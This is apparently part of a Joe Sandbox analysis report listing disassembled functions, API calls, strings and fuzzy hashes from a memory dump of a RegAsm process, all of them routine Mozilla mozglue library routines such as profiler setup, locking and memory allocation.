Instruction ID: 5a8bd62ffdad4e56dc1aec5ae55adb4d55b98f3676876df6a243ca8f57117c30
Opcode Fuzzy Hash: d006b57cb918b51b25af8171cfdbb1c62669aa269dee0cf632f58bea53b942ea
Instruction Fuzzy Hash: 9BF0E9723802D423E63025660C0AB5B269DABC2B68F754077F615DADC0DB60E81086A8

Function 6C567620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C5675C4,?), ref: 6C56762B

Part of subcall function 6C52CA10: malloc.MOZGLUE(?), ref: 6C52CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C5674D7,6C5715FC,?,?,?), ref: 6C567644
GetCurrentThreadId.KERNEL32 ref: 6C56765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5674D7,6C5715FC,?,?,?), ref: 6C567663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5674D7,6C5715FC,?,?,?), ref: 6C567677

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: dbba8fcbc6342279fffeb9e5cacb8b42021013e155665f190f4015c615d6c1b7
Instruction ID: 095a46697e8b49bd53c6c748e60e56293bd0bad2c43b95f4d774625300c6bd85
Opcode Fuzzy Hash: dbba8fcbc6342279fffeb9e5cacb8b42021013e155665f190f4015c615d6c1b7
Instruction Fuzzy Hash: 92F0FF71E10385ABE3009F21CC88676B778FFEA258F134356F90442602E7B0A9D08BD0

Function 6C53D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C54CBE8: GetCurrentProcess.KERNEL32(?,6C5131A7), ref: 6C54CBF1
Part of subcall function 6C54CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5131A7), ref: 6C54CBFA

EnterCriticalSection.KERNEL32(6C59E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C54D1C5), ref: 6C53D4F2
LeaveCriticalSection.KERNEL32(6C59E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C54D1C5), ref: 6C53D50B

Part of subcall function 6C51CFE0: EnterCriticalSection.KERNEL32(6C59E784), ref: 6C51CFF6
Part of subcall function 6C51CFE0: LeaveCriticalSection.KERNEL32(6C59E784), ref: 6C51D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C54D1C5), ref: 6C53D52E
EnterCriticalSection.KERNEL32(6C59E7DC), ref: 6C53D690
LeaveCriticalSection.KERNEL32(6C59E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C54D1C5), ref: 6C53D751

Strings

MOZ_CRASH(), xrefs: 6C53D4BB

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 18f6e87073b6337636342a8203ef7e94f2a94f75fddf45f9579a4cc7b63b4a3c
Instruction ID: 046e765c4541dd462c0839475010a898fd78d5158fe345a6d442c5a36e11903d
Opcode Fuzzy Hash: 18f6e87073b6337636342a8203ef7e94f2a94f75fddf45f9579a4cc7b63b4a3c
Instruction Fuzzy Hash: C551F371A047918FD314CF28C89471AB7F1FB89704F668A2EE5A9C7B45E770E804CB92

Function 6C564630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C564721

Strings

-%llu, xrefs: 6C564733
., xrefs: 6C56476A
profiler-paused, xrefs: 6C5646E4

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: a7627a3248a0cb485bf5bcf57163e12f4e8c9c6583f49732f88715968210c0f6
Instruction ID: 6ef8f17a9761c2ead04d6b40734617806f3cd705ed6fde44c0df75e905d4abb7
Opcode Fuzzy Hash: a7627a3248a0cb485bf5bcf57163e12f4e8c9c6583f49732f88715968210c0f6
Instruction Fuzzy Hash: 12414671A047189FCB08DF7ADC6115EBBE5EFC6744F11863EE84597B51EB3098448781

Function 6C5646E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C564721

Part of subcall function 6C514410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C553EBD,00000017,?,00000000,?,6C553EBD,?,?,6C5142D2), ref: 6C514444

Strings

-%llu, xrefs: 6C564733
., xrefs: 6C56476A
profiler-paused, xrefs: 6C5646E4

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 510cdeee3a822be42b2f2146e8d5e7307b82b1698f67ed25739b14d45fee1f54
Instruction ID: 7bb78576d11cb48056150e249730b91f7b7143792221cf4789e53831ac9034e4
Opcode Fuzzy Hash: 510cdeee3a822be42b2f2146e8d5e7307b82b1698f67ed25739b14d45fee1f54
Instruction Fuzzy Hash: 5931E571F042189BCB08DF69DC9169EBBE69B89314F15853EE8059BB51EB7098058B90

Function 6C56B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C514290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C553EBD,6C553EBD,00000000), ref: 6C5142A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C56B127), ref: 6C56B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C56B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C56B4E4

Strings

pid:, xrefs: 6C56B4DE

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 343320edeb0554fbbc9ecffcfd7a330407e201348fc07e868c9292d43f5d0fdf
Instruction ID: 90b75e149867fb1e6077f7c6413d7842df87bef20fcbad56f1eeec0c17260ca0
Opcode Fuzzy Hash: 343320edeb0554fbbc9ecffcfd7a330407e201348fc07e868c9292d43f5d0fdf
Instruction Fuzzy Hash: C9311331A01218CBDB00EFAADC80AEEB7B6FF84309F540529E80167F51E731A945DBE1

Function 6C55E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C55E577
AcquireSRWLockExclusive.KERNEL32(6C59F4B8), ref: 6C55E584
ReleaseSRWLockExclusive.KERNEL32(6C59F4B8), ref: 6C55E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C55E8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C55E655
MOZ_PROFILER_STARTUP, xrefs: 6C55E5A1, 6C55E5CC, 6C55E5FF, 6C55E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C55E777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C55E722, 6C55E750, 6C55E7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C55E826, 6C55E850

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 996ff422687e07f9d5e4055354ad598e2d8de9bc119bc9342cd54a55090edb92
Instruction ID: 10ef7a85c9ca85cee9055c6d01d38692481c4b0e45c7c8facd68aad5e5464c1f
Opcode Fuzzy Hash: 996ff422687e07f9d5e4055354ad598e2d8de9bc119bc9342cd54a55090edb92
Instruction Fuzzy Hash: 6E11A132604294DFCB109F15CC48B5EBBF8FB89328F430699F85A47650D774A814CB9A

Function 6C560C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C560CD5

Part of subcall function 6C54F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C54F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C560D40
free.MOZGLUE ref: 6C560DCB

Part of subcall function 6C535E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C535EDB
Part of subcall function 6C535E90: memset.VCRUNTIME140(ewWl,000000E5,?), ref: 6C535F27
Part of subcall function 6C535E90: LeaveCriticalSection.KERNEL32(?), ref: 6C535FB2

free.MOZGLUE ref: 6C560DDD
free.MOZGLUE ref: 6C560DF2

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 1e162491b04aa5babdce2cb986f98e18213d583e917ccdcdff4db774ed01e2f5
Instruction ID: 85d88a49212605d79c0534761b67b9991fc2bf778956501e36cbd09ec9f89d25
Opcode Fuzzy Hash: 1e162491b04aa5babdce2cb986f98e18213d583e917ccdcdff4db774ed01e2f5
Instruction Fuzzy Hash: D941F7719097949BD720CF2AC84079AFBE5BFC5714F518A2EE8D887B50DB709845CB82

Function 6C56CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C55DA31,00100000,?,?,00000000,?), ref: 6C56CDA4

Part of subcall function 6C52CA10: malloc.MOZGLUE(?), ref: 6C52CA26

Part of subcall function 6C56D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C56CDBA,00100000,?,00000000,?,6C55DA31,00100000,?,?,00000000,?), ref: 6C56D158
Part of subcall function 6C56D130: InitializeConditionVariable.KERNEL32(00000098,?,6C56CDBA,00100000,?,00000000,?,6C55DA31,00100000,?,?,00000000,?), ref: 6C56D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C55DA31,00100000,?,?,00000000,?), ref: 6C56CDC4

Part of subcall function 6C567480: ReleaseSRWLockExclusive.KERNEL32(?,6C5715FC,?,?,?,?,6C5715FC,?), ref: 6C5674EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C55DA31,00100000,?,?,00000000,?), ref: 6C56CECC

Part of subcall function 6C52CA10: mozalloc_abort.MOZGLUE(?), ref: 6C52CAA2

Part of subcall function 6C55CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C56CEEA,?,?,?,?,00000000,?,6C55DA31,00100000,?,?,00000000), ref: 6C55CB57
Part of subcall function 6C55CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C55CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C56CEEA,?,?), ref: 6C55CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C55DA31,00100000,?,?,00000000,?), ref: 6C56D058

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 2da1cdf28a3d937073c34da7b84871b15a9e2705290ef9e774bf5159eabaf652
Instruction ID: a0f8b177f4574b1cf11b59573e01030f06e56e792b95c508e4d7c8296bb465d9
Opcode Fuzzy Hash: 2da1cdf28a3d937073c34da7b84871b15a9e2705290ef9e774bf5159eabaf652
Instruction Fuzzy Hash: FED17F71A04B46DFD708CF29C880B99F7E1BF89304F11866DD85987762EB31B9A5CB81

Function 6C535C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C535D40
EnterCriticalSection.KERNEL32(6C59F688), ref: 6C535D67
__aulldiv.LIBCMT ref: 6C535DB4
LeaveCriticalSection.KERNEL32(6C59F688), ref: 6C535DED

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: e2597aaac2a020181bd60752f65045f1afe629a5f54b479225357cf9ddd563e5
Instruction ID: 90435ea3390246c1f0333050421e34b8ba19c839100f5cd2445dde2917cf9c21
Opcode Fuzzy Hash: e2597aaac2a020181bd60752f65045f1afe629a5f54b479225357cf9ddd563e5
Instruction Fuzzy Hash: 8B519F71E002698FCF08CF68CC44AAEBBB1FB85304F2B9A59E815A7750D7306D45CB90

Function 6C51CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C51CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C51CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C51CF4E

Strings

0, xrefs: 6C51CF30

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: ed064aa15f0ac08c254cb5908a7e13e3f787b07dd5b83b252bd00b27ee0a2807
Instruction ID: 9dcebf8dffca5fbfd673b2675873fe15bfa78db29c801d41f83d28726fa47011
Opcode Fuzzy Hash: ed064aa15f0ac08c254cb5908a7e13e3f787b07dd5b83b252bd00b27ee0a2807
Instruction Fuzzy Hash: 1D511275A04216CFCB01CF18C890AAABBB5EF99300F198699D8595F751D732FD06CBE0

Function 6C556470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C5582BC,?,?), ref: 6C55649B

Part of subcall function 6C52CA10: malloc.MOZGLUE(?), ref: 6C52CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5564A9

Part of subcall function 6C54FA80: GetCurrentThreadId.KERNEL32 ref: 6C54FA8D
Part of subcall function 6C54FA80: AcquireSRWLockExclusive.KERNEL32(6C59F448), ref: 6C54FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C55653F
free.MOZGLUE(?), ref: 6C55655A

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 3b8392c841f0a4c7aa1c4c64503d1d18e8780ca54eca75227bfe661163afac93
Instruction ID: ffe0015cb80d394a0d29f76d61120852d401353247ad7de332dfa535e43374ff
Opcode Fuzzy Hash: 3b8392c841f0a4c7aa1c4c64503d1d18e8780ca54eca75227bfe661163afac93
Instruction Fuzzy Hash: BD3170B5A043459FD704CF25D88069EB7E4FFC8314F41442EE85A97741EB34E918CB92

Function 6C52B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52B4F5
AcquireSRWLockExclusive.KERNEL32(6C59F4B8), ref: 6C52B502
ReleaseSRWLockExclusive.KERNEL32(6C59F4B8), ref: 6C52B542
free.MOZGLUE(?), ref: 6C52B578

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 97d4b12c97c7b8fe6c77bfd03b66f974be4bb32b32bc37cf797a839250544a71
Instruction ID: f959835ea4dc7ab91d786046d4ad3941662936b64b4f2b940192acb414d92eae
Opcode Fuzzy Hash: 97d4b12c97c7b8fe6c77bfd03b66f974be4bb32b32bc37cf797a839250544a71
Instruction Fuzzy Hash: D611FD30A04B80C7D321DF28CC00362B3B4FFD6319F12A74AE84A56A02FBB9B5C08785

Function 6C553DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C51F20E,?), ref: 6C553DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C51F20E,00000000,?), ref: 6C553DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C553E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C553E0E

Part of subcall function 6C54CC00: GetCurrentProcess.KERNEL32(?,?,6C5131A7), ref: 6C54CC0D
Part of subcall function 6C54CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C5131A7), ref: 6C54CC16

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 589b1221c86a3ae70300b39f43deb935699fedb8f6a9825c0cdd6644da194db8
Instruction ID: a67c6d0c2a9dac6d9fc0aebf60690b7fd625fa5fd599ce1f8349d6a709770571
Opcode Fuzzy Hash: 589b1221c86a3ae70300b39f43deb935699fedb8f6a9825c0cdd6644da194db8
Instruction Fuzzy Hash: A3F08271600208BBD700AF54DC41DAF376CDB86628F060020FD0917741D735BD2986FB

Function 6C5685B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C5685D3

Part of subcall function 6C52CA10: malloc.MOZGLUE(?), ref: 6C52CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C568725

Strings

map/set<T> too long, xrefs: 6C568720

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: b94db5813be0370f986580f86af888bd61d1b4db8239833f17b7e88a80fbe584
Instruction ID: 8c7fa3b3e68672e4b377263985dbf1c24d9bcd08965b841551eb13388625dbb5
Opcode Fuzzy Hash: b94db5813be0370f986580f86af888bd61d1b4db8239833f17b7e88a80fbe584
Instruction Fuzzy Hash: 51515474600651CFD701CF1AC884A5ABBF1BF9A318F18C68AD8595BB62C375EC85CF92

Function 6C51BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C51BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C51BE8F

Strings

0, xrefs: 6C51BE5B

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: f1e9b73ca625fa3c37650a81abce64cbb7ba00d52a97cabc4993e94117bcde1b
Instruction ID: 629b7c4170780fe77674d1f9aff72e9beb0fa1e99906daf66be63edc6b2a13a7
Opcode Fuzzy Hash: f1e9b73ca625fa3c37650a81abce64cbb7ba00d52a97cabc4993e94117bcde1b
Instruction Fuzzy Hash: 8D418DB1909745CFD701EF38C885A9BB7E4AF8A358F008B1DF985A7B11D73099598B82

Function 6C553CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C553D19
mozalloc_abort.MOZGLUE(?), ref: 6C553D6C

Strings

d, xrefs: 6C553D58

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
